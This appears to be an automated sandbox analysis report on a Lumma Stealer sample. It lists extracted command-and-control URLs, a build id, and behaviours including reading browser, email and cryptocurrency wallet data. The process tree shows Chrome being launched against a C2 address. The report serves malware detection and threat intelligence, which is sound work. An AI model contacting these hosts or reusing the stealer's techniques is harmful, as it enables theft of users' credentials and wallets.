Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    24/05/2026, 17:15

General

  • Target
    tmpcm0_1iwk.exe
  • Size 31.2MB
  • Sample260524-vszccafv2s
  • SHA256 8b097a3037a707471a7abc9a304715f7731f4669b2bf5c823432e37c3d624a06
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://springvc.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=695B7280BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffb1292c728,0x7ffb1292c734,0x7ffb1292c740
        3⤵
          PID:4764
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,11588871896386047783,5448935199033114691,524288 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2152 /prefetch:3
          3⤵
          • System Time Discovery
          PID:3612
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1776,i,13252903194976477091,17686223822617512117,262144 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2056 /prefetch:2
          3⤵
            PID:4920
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2440,i,18331346110847283631,10168907295409141018,524288 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2612 /prefetch:8
            3⤵
              PID:4876
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3036,i,7857324550876189606,9512660826193253951,2097152 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:1
              3⤵
                PID:3992
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3024,i,17297205877539687870,12420765853359232102,2097152 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3152 /prefetch:1
                3⤵
                  PID:3092
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4224,i,6724296055835060124,12397831722979350704,2097152 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4204 /prefetch:2
                  3⤵
                    PID:756
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5176,i,4376024542771281248,5948705202687064277,524288 --field-trial-handle=2020,i,12603273397028516922,12845359564617929320,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5168 /prefetch:8
                    3⤵
                      PID:1704
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3872
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:2836

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 649B
                          • SHA256 5acf604dc0c58a1d19cd6152df5f765ee843cf0465db7b828d9c94322cd2ab5f
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          TransportSecurity

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                          • Size 523B
                          • SHA256 df4bca9b7698ca89069545d3d62a187a903df3a258fec4ef69a201c41c2bc7e0
                          • MD5 SHA1 SHA512 TLSH

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 2743f1f8f8d724d4ecabc911af638e9e282de3eafa738c8f2991cc512c4cb8e4
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 9520f5e1fae4d16c855210fc487d20307a834d47592c304393a53d29a7649f1e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3968-48-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-43-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-52-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-51-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-50-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-49-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-0-0x0000000000400000-0x000000000045F000-memory.dmp

                          memory/3968-47-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-46-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-45-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-44-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-53-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-42-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-41-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-40-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-39-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-38-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-37-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-54-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-55-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-56-0x00000000236E0000-0x00000000236E1000-memory.dmp

                          memory/3968-57-0x0000000000400000-0x000000000045F000-memory.dmp